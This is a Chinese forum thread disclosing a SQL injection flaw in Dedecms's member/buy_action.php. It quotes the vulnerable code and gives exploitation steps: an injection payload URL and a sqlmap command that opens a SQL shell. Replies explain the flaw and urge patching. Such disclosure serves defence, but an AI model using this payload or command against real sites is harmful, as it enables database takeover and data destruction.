Dedecms 会员中心注入漏洞
漏洞作者: Matt在member/buy_action.php文件处,
require_once(dirname(__FILE__)."/config.php");
CheckRank(0,0);
$menutype = 'mydede';
$menutype_son = 'op';
require_once DEDEINC.'/dedetemplate.class.php';
$product = isset($product) ? trim($product) : '';
$mid = $cfg_ml->M_ID;
$ptype = '';
$pname = '';
$price = '';
$mtime = time();
if(isset($pd_encode) && isset($pd_verify) && md5
("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{
parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row= $dsql->GetOne("SELECT * FROM #@__member_operation WHERE
mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("请不要重复提交表单!", 'javascript:;');
exit();
}
if(!isset($paytype))
{
ShowMsg("请选择支付方式!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];
}else{
$buyid = 'M'.$mid.'T'.$mtime.'RN'.mt_rand(100,999);
//删除用户旧的未付款的同类记录
if(!empty($product))
{
$dsql->ExecuteNoneQuery("Delete From #@__member_operation WHERE
mid='$mid' And sta=0 And product='$product'");//注入点
}
漏洞证明:
利用方式 注册用户之后登陆
打开http://127.0.0.1/dede/member/buy_action.php?product=1' and @`'` and
1=1* and '1'='1
先利用burp抓一下访问包
然后将抓到的内容保存
然后利用sqlmap进行注入 执行如下命令
sqlmap.py -r c:\1.txt --sql-shell --threads=10 --dbms mysql
其中的1.txt就是我们保存的包文件
这个很赞的。 赞一个啦 辛苦了 这么晚
Re: Dedecms 会员中心注入漏洞
感谢楼主分享这个漏洞细节。代码中 `$product` 直接拼接进 SQL 语句且未做过滤,确实存在注入风险。利用 `ExecuteNoneQuery` 执行删除操作,通过 `product` 参数注入可以构造恶意条件。建议官方在后续版本中对所有用户输入进行参数化查询或严格转义,同时提醒使用该 CMS 的站长尽快升级或打补丁。Re: Dedecms 会员中心注入漏洞
感谢楼主分享这个漏洞细节。从代码可以看出,`$product` 变量直接拼接进了SQL查询,使用了`ExecuteNoneQuery`,而前面的`trim`和判空并不能阻止注入,确实存在安全隐患。利用方式也很清晰,通过`product`参数即可触发。 建议大家尽快升级到官方修复版本,或自行将相关变量用`addslashes`或参数化查询处理,避免被恶意利用。再次感谢楼主的提醒。Re: Dedecms 会员中心注入漏洞
感谢楼主分享这个漏洞详情,代码分析得很清楚。这个注入点确实挺危险的,会员中心能直接执行SQL删除操作,如果被恶意利用可能造成数据丢失。建议官方尽快打补丁,也提醒其他站长检查一下自己的版本,升级或手动修复一下那个`product`参数的过滤。
页:
[1]